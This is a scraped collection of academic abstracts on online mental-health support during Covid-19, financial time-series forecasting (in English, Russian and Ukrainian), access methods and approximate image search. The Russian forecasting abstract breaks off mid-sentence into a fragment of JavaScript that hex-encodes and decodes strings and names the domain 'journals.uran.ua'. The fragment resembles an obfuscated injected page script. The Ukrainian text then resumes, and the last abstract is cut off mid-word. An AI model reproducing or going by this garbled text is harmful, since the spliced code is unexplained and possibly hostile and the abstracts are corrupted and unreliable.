Empathy and redemption: Exploring the narrative transformation of online support for mental health across communities before and after Covid-19

This study examines the impact of the COVID-19 pandemic on individuals’ mental health and their online interactions, particularly within Reddit’s mental health communities. By analyzing data from 15 subreddits categorized into mental health and control groups from 2018 to 2022, we observed that forums dedicated to mental health exhibited higher levels of user engagement and received more supportive responses than those in other categories. However, as the pandemic evolved, a significant decrease in online support was noted, especially within these mental health groups. This decline hints at a risk of emotional burnout among users, which poses a particularly acute challenge for individuals grappling with mental health issues. Intimate relationships have also an impact on online expression of mental health. The research underscores the pandemic’s effect on online support and interaction dynamics, signaling the necessity for a deeper understanding and the development of strategies to maintain support within online communities during times of crisis

Прогнозування часових рядів методом селективного зіставлення зі зразком

The selective pattern matching method for forecasting the increment signs of financial time series is proposed. This approach is based on indexing the time series to find similar sites in their dynamics based on the K-nearest neighbors method and selective grouping of these sites by the increment signs observed when completed. Similar sites are identified by calculating measures of similarity between the supporting and non-supporting stories of time series. Depending on the representation of time series, Hamming measure or Euclidian measure can be used for indexing. Before applying the method, it is recommended to carry out the procedure of pre-forecasting fractal time series analysis for determining the levels of persistence, antipersistence and randomness of time series, identifying the availability of memory and determining the medium length of quasicycles. The parameters, defined based on the pre-forecasting analysis are used in forecast generation by the described method. The proposed method can be used as part of information forecasting and decision support systems, including those used in the currency market to improve the accuracy of forecasting the increment signs of time series.Предлагается метод селективного сопоставления с образцом для прогнозирования знаков приростов финансовых временных рядов. Подход базируется на индексации временных рядов для определения в их динамике подобных участков на основе метода К-ближайших соседей, а также  селективной группировки этих участков в зависимости от знаков приростов, которые наблюдаются после их завершения// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eПропонується метод селективного зіставлення зі зразком для прогнозування знаків приростів фінансових часових рядів. Підхід базується на індексації часових рядів для знаходження в їх динаміці подібних ділянок на основі методу К-найближчих сусідів, а також селективного групування цих ділянок за знаками приростів, які спостерігаються після їх завершення

Advance of the Access Methods

The goal of this paper is to outline the advance of the access methods in the last ten years as well as to make review of all available in the accessible bibliography methods

Розробка адаптивних комбінованих моделей прогнозування часових рядів на основі ідентифікації подібностей

Adaptive combined models of hybrid and selective types for prediction of time series on the basis of a program set of adaptive polynomial models of various orders were offered. Selection in these models is carried out according to B-, R-, P-criteria with automatic formation of the basic set of models based on the adaptive D-criterion. It was found that these models had the maximum accuracy in the case of short-term and medium-term prediction of time series.Adaptive combined selective prediction models based on the R- and B-criteria of selection with identification of similarities in the retrospection of time series by the nearest neighbor method was proposed. An adaptive combined hybrid model of prediction with identification of similarities in the retrospection of time series was constructed. It was found that these models had the highest accuracy in the case of medium-term prediction of time series.Estimation of the prediction efficiency of various combined models depending on the level of persistency of time series was made. It has been found that in the case of short-term prediction for the prediction period τ≤2, the adaptive combined hybrid prediction model is the most accurate. Selective models with various selection criteria are effective in predicting persistent time series with the Hurst index H&gt;0.75 for the prediction period τ&gt;2. In the case of prediction of time series with the Hurst index for the prediction period τ&gt;2, the adaptive combined hybrid and selective models with identification of similarities in the retrospection of the time series are more precise.Предлагаются адаптивные комбинированные модели гибридного и селективного типов для прогнозирования временных рядов на основе программного набора из адаптивных полиномиальных моделей разных порядков. Предлагаются адаптивные комбинированные модели прогнозирования временных рядов с учетом результатов идентификации подобий в ретроспекции этих временных рядов. Оценена эффективность прогнозирования различных комбинированных моделей в зависимости от уровня персистентности временных рядов. Разработанные модели позволяют повысить точность в случае среднесрочного прогнозирования нестационарных временных рядов, в частности финансовых показателейПропонуються адаптивні комбіновані моделі гібридного та селективного типів для прогнозування часових рядів на основі програмного набору з адаптивних поліноміальних моделей різних порядків. Пропонуються адаптивні комбіновані моделі прогнозування часових рядів з врахуванням результатів ідентифікації подібностей в ретроспекції цих часових рядів. Оцінена ефективність прогнозування різних комбінованих моделей залежно від рівня персистентності часових рядів. Розроблені моделі дозволяють підвищити точність у випадку середньострокового прогнозування нестаціонарних часових рядів, зокрема фінансових показникі

The Quality vs. Time Trade-off for Approximate Image Descriptor Search

International audienceIn recent years, content-based image retrieval has become more and more important in many application areas. Similarity retrieval is inherently a very demanding process, in particular when performing exact searches. Therefore, there is an increasing interest in performing approximate searches, where result quality guarantees are traded for reduced query execution time. The goal of approximate retrieval systems should be to obtain the best possible result quality in the minimum amount of time. As a result, typical indexing strategies divide the data set into many data chunks. Minimizing the search time suggests to generate uniformly sized chunks to best overlap I/O costs with CPU costs. Maximizing quality, on the other hand, suggests to strongly limit the intra-chunk dissimilarity of data. The paper addresses the question to what extent guaranteeing the query processing time, using uniform chunk sizes, compromises the quality of the results, and vice versa. Using a large collection of 5 million 24-dimensions local descriptors computed over more than 50 thousand real life images, we show that minimizing the query processing time may in fact lead to better quality of the intermediate results